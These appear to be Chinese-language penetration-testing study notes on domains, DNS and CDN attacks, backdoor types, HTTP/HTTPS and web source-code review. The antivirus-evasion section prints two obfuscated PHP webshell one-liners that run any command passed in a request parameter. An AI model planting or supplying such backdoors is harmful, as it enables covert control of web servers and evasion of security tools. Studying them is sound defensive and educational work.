基础

域名

1.什么是域名?

1
2
3
相当于网站的名字维基百科对域名的解释是:互联网上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位(有时也指地理位置)。

网域名称系统(Domain Name System)有时也简称为域名(DNS),是互联网的一项核心服务,它作为可以将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,而不用去记住能够被机器直接读取的 IP 地址数据串。

2域名在哪注册?

1
2
3
4
5
6
1.Godaddy
2.Gandi
3.Hover
4.Namesilo
5.Namecheap
6.万网

3什么是二级域名多级域名?

1
2
3
4
5
1.顶级域名:又叫一级域名,一串字符串中间一个点隔开,例如baidu.com。顶级域名是互联网DNS等级之中的最高级的域,它保存于DNS根域的名字空间中。

2.二级域名:实际上就是一个一级域名以下的主机名,一串字符串中间两个“.”隔开,例如www.baidu.com。二级域名就是最靠近顶级域名左侧的字段。

3.三级域名:二级域名的子域名,特征是包含三个“.”,例如___.___.baidu.com...

4域名发现对于安全测试意义?

1
进行渗透测试时,其主域名找不到漏洞时,就可以尝试去测试收集到的子域名,有可能测试子域名网站时会有意向不到的效果,然后可以由此横向到主网站。

DNS和CDN

DNS

域名系统(Domain Name System,DNS)是Internet上解决网上机器命名的一种系统。 就像拜访朋友要先知道别人家怎么走一样,Internet上当一台主机要访问另外一台主机时,必须首先获知其地址,TCP/IP中的IP地址是由四段以“.”分开的数字组成(此处以IPv4的地址为例,IPv6的地址同理),记起来总是不如名字那么方便,所以,就采用了域名系统来管理名字和IP的对应关系。就是将域名转为ip

DNS的工作流程大致如下:

  • 当用户在浏览器中输入域名时,DNS客户端(通常是操作系统或浏览器内置)会先查询本地缓存是否有对应IP。
  • 如果本地没有缓存,则向配置的DNS服务器发送查询请求。
  • DNS服务器通过递归或迭代查询,逐级访问根域名服务器、顶级域名服务器和权威域名服务器,最终找到对应的IP地址。
  • 该IP地址返回给客户端,客户端随后使用这个IP地址与目标服务器建立连接,实现访问
CDN

CDN(Content Delivery Network,内容分发网络)是构建在现有互联网基础之上的一层智能虚拟网络,通过在网络各处部署节点服务器,实现将源站内容分发至所有CDN节点,使用户可以就近获得所需的内容。

CDN的工作原理:

  1. 内容缓存:当用户首次请求某个内容时,CDN从源服务器获取该内容并缓存到地理位置较近的边缘节点。之后相同内容的请求直接由边缘节点响应,避免重复访问源服务器。
  2. 就近访问:用户请求自动被路由到最近的CDN节点,减少网络传输距离和时间。
  3. 动态加速:对于动态内容,CDN通过优化与源服务器之间的连接和智能路由,加快响应速度。
  4. 边缘逻辑计算:部分CDN支持在边缘节点运行代码,处理请求和优化内容,减轻源服务器负担。
常见DNS漏洞:

ddos

1
DDoS攻击也叫做分布式拒绝服务攻击,可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。攻击者可以伪造自己的DNS服务器地址,同时发送大量请求给其他服务器。其他服务器的回复会被发送到被伪造服务器的真实地址,造成该服务器无法处理请求而崩溃。攻击者同样可以通过利用DNS协议中存在的漏洞,恶意创造一个载荷过大的请求,造成目标DNS服务器崩溃。

dns缓存漏洞

1
DNS缓存中毒攻击者给DNS服务器注入非法网络域名地址,如果服务器接受这个非法地址,那说明其缓存就被攻击了,而且以后响应的域名请求将会受黑客所控。当这些非法地址进入服务器缓存,用户的浏览器或者邮件服务器就会自动跳转到DNS指定的地址。这种攻击往往被归类为域欺骗攻击(pharming attack),由此它会导致出现很多严重问题。首先,用户往往会以为登陆的是自己熟悉的网站,而它们却并不是。与钓鱼攻击采用非法URL不同的是,这种攻击使用的是合法的URL地址。

域名劫持(dns重定向)

1
域名劫持是通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的地址从而实现用户无法访问目标网站的目的。域名劫持一方面可能影响用户的上网体验,用户被引到假冒的网站进而无法正常浏览网页,而用户量较大的网站域名被劫持后恶劣影响会不断扩大;另一方面用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据。

DNS查询嗅探

1
2
3
攻击者主要利用对DNS的配置信息获取网络环境的信息,为之后的攻击做好的准备。

  针对这些情况,我们需要对DNS服务器需要采取特别的安全保护措施,在防火墙网络中,分开设置内部DNS服务器和外部DNS服务器,连接外部服务的外部DNS服务器上不留有对外禁止访问的内部网络系统的服务器,做到内外网络服务器分割。

ARP欺骗

ARP(地址解析协议,Address Resolution Protocol)是一种用于将网络层的IP地址解析为数据链路层的物理MAC地址的协议,主要用于IPv4网络中

1
2
3
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP病毒,则感染该ARP病毒的系统将会试图通过”ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

  ARP欺骗通常是在用户局网中,造成用户访问域名的错误指向。如果IDC机房也被ARP病毒入侵后,则也可能出现攻击者采用ARP包压制正常主机、或者压制DNS服务器,以使访问导向错误指向的情况。

本机劫持:

1
  本机的计算机系统被木马或流氓软件感染后,也可能会出现部分域名的访问异常。

脚本语言

常见的有asp,php,aspx,jsp,javaweb,pl,py,cgi

WEB

web的组成架构模型

网站源码,分脚本类型,分应用方向

操作系统:windows,linux

中间件:apache iis tomcat nginx等

数据库 access mysql mssql oracle

架构漏洞安全测试的简要测试

1
2
3
4
5
6
7
8
9
10
11
12
通信层
主要测试通信协议的安全,系统开放的端口,其中操作系统提供网络层和数据链路层协议,存在问题的可能性较小,一般关注开源协议已存在漏洞即可,无需重点关注。应用层服务与协议一般由产品形态决定,产品中可以自定义配置相关协议与参数,需要重点关注与测试。

应用层
应用层包含开发人员开发代码,为整个安全测试的核心模块。主要包括web安全测试,源码安全测试。其中web安全测试从web访问服务的维度,偏向黑盒,进行安全测试。源码安全测试从代码的维度,偏向白盒,进行安全测试。

系统层
主要测试操作系统安全,数据库服务安全,web服务器安全,以及其他一些中间件的安全。

管理层
主要包括产品资料的安全测试,安全策略制定,协调各个层面的安全测试以及安全风险的整体评估。

关于web源码其他说明

看这个网站https://websec.readthedocs.io/zh/latest/language/java/unserialize.html

后门

1
2
3
4
5
6
7
8
9
10
11
12
1.网页后门 :
  此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,比如现在非常流行的ASP、cgi脚本后门等。

2.线程插入后门:
  利用系统自身的某个服务或者线程,将后门程序插入到其中,具体原理原来《黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。

3.扩展后门:
  所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常驻见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱郭后门“隐蔽”的初衷,具体看法就看各位使用都的喜好了。

4.C/S后门(客户端服务器后门):
    和传统的木马程序类似的控制方法,采用“客记端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。

免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
玩法(创建后门之后我们可以怎么样操作?)
网站后门:便于控制网站
软件后门:用于控制
服务器后门:可以进行脱库、盗取信息

免杀技术全称为反杀毒技术Anti Anti-Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。
其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

后门需要掌握的核心技能,防止杀毒软件检查到

<?php $a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>

如何查询域名的A记录、max记录、cname记录和ns记录

用nslookup,先输入nslookup,在输入 set querytype=mx,最后输入域名就能得到域名的mx记录,其他同理

image-20250610210906998

  1. A记录(Address Record)
  • 用途:将域名(主机名)映射到对应的IPv4地址(IP地址)。
  • 功能:当用户输入域名时,DNS通过A记录告诉用户访问的服务器的具体IP地址,实现域名到服务器的定位。
  • 例子:域名www.example.com的A记录指向192.168.1.1,用户访问www.example.com时,实际上访问的是该IP地址的服务器。
  • 作用:实现域名和IP地址的直接绑定,是网站访问的基础。
  1. MX记录(Mail Exchange Record)
  • 用途:指定负责处理该域名邮件的邮件服务器。
  • 功能:邮件系统通过MX记录确定发送邮件时的目标邮件服务器,支持多个邮件服务器并可设置优先级,优先级低的服务器优先接收邮件。
  • 例子:域名example.com的MX记录指向mail.example.com,邮件发送时会根据MX记录路由到该服务器。
  • 作用:确保电子邮件能正确投递到指定的邮件服务器。
  1. CNAME记录(Canonical Name Record,别名记录)
  • 用途:将一个域名作为别名指向另一个域名。
  • 功能:允许多个域名指向同一个主机名,简化管理和维护。例如,www.example.commail.example.com都可以指向host.example.com,只需维护host.example.com的A记录。
  • 作用:方便域名重定向和多服务指向同一服务器,灵活管理DNS记录。
  • 工作流程:DNS查询时,先返回CNAME指向的真实域名,再对该真实域名进行解析。
  1. NS记录(Name Server Record)
  • 用途:指定负责该域名解析的权威DNS服务器。
  • 功能:告诉DNS解析器应该向哪些服务器请求该域名的DNS记录,是域名解析的起点和关键。
  • 作用:保证域名解析的可靠性和高可用性,通常一个域名会有多个NS记录用于负载均衡和故障转移。
  • 与SOA记录区别:NS记录指向解析服务器,SOA记录包含区域管理信息,如主服务器、管理员邮箱、刷新时间等

http/https

http
  • HTTP协议是什么?
1
2
3
HTTP协议是超文本传输协议的缩写,英文是Hyper Text Transfer Protocol。它是从WEB服务器传输超文本标记语言(HTML)到本地浏览器的传送协议。
设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。
HTTP有多个版本,目前广泛使用的是HTTP/1.1版本。
  • HTTP原理
1
2
3
HTTP是一个基于TCP/IP通信协议来传递数据的协议,传输的数据类型为HTML 文件,、图片文件, 查询结果等。

HTTP协议一般用于B/S架构()。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。
  • HTTP特点
1
2
3
4
5
http协议支持客户端/服务端模式,也是一种请求/响应模式的协议。
简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。
灵活:HTTP允许传输任意类型的数据对象。传输的类型由Content-Type加以标记。
无连接:限制每次连接只处理一个请求。服务器处理完请求,并收到客户的应答后,即断开连接,但是却不利于客户端与服务器保持会话连接,为了弥补这种不足,产生了两项记录http状态的技术,一个叫做Cookie,一个叫做Session。
无状态:无状态是指协议对于事务处理没有记忆,后续处理需要前面的信息,则必须重传。
  • URI和URL的区别
1
2
3
4
5
6
7
HTTP使用统一资源标识符(Uniform Resource Identifiers, URI)来传输数据和建立连接。

URI:Uniform Resource Identifier 统一资源标识符
URL:Uniform Resource Location 统一资源定位符
URI 是用来标示 一个具体的资源的,我们可以通过 URI 知道一个资源是什么。

URL 则是用来定位具体的资源的,标示了一个具体的资源位置。互联网上的每个文件都有一个唯一的URL。

常见请求方式

1
2
3
4
5
GET:请求指定的页面信息,并返回实体主体。
POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
HEAD:类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
PUT:从客户端向服务器传送的数据取代指定的文档的内容。
DELETE:请求服务器删除指定的页面。
https

HTTPS 协议(HyperText Transfer Protocol over Secure Socket Layer):一般理解为HTTP+SSL/TLS,通过 SSL证书来验证服务器的身份,并为浏览器和服务器之间的通信进行加密。

什么是SSL?

SSL(Secure Socket Layer,安全套接字层):1994年为 Netscape 所研发,SSL 协议位于 TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。

TLS(Transport Layer Security,传输层安全):其前身是 SSL,它最初的几个版本(SSL 1.0、SSL 2.0、SSL 3.0)由网景公司开发,1999年从 3.1 开始被 IETF 标准化并改名,发展至今已经有 TLS 1.0、TLS 1.1、TLS 1.2 三个版本。SSL3.0和TLS1.0由于存在安全漏洞,已经很少被使用到。TLS 1.3 改动会比较大,目前还在草案阶段,目前使用最广泛的是TLS 1.1、TLS 1.2。

浏览器在使用HTTPS传输数据的流程是什么?

image-20250611082818584

1
2
3
4
5
6
首先客户端通过URL访问服务器建立SSL连接。
服务端收到客户端请求后,会将网站支持的证书信息(证书中包含公钥)传送一份给客户端。
客户端的服务器开始协商SSL连接的安全等级,也就是信息加密的等级。
客户端的浏览器根据双方同意的安全等级,建立会话密钥,然后利用网站的公钥将会话密钥加密,并传送给网站。
服务器利用自己的私钥解密出会话密钥。
服务器利用会话密钥加密与客户端之间的通信。

web源码扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
#数据库配置文件,后台目录,模版目录,数据库目录等

#ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题

#社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞

#开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等

#关于源码获取的相关途径:搜索,咸鱼淘宝,第三方源码站,各种行业对应

#总结:

关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外),在获取源码后可进行本地安全测试或代码审计,也可以分析其目录工作原理(数据库备份,bak文件等),未获取到的源码采用各种方法想办法获取!

所以我们可以先查看网站的框架在网上能不能下载到,然后直接找漏洞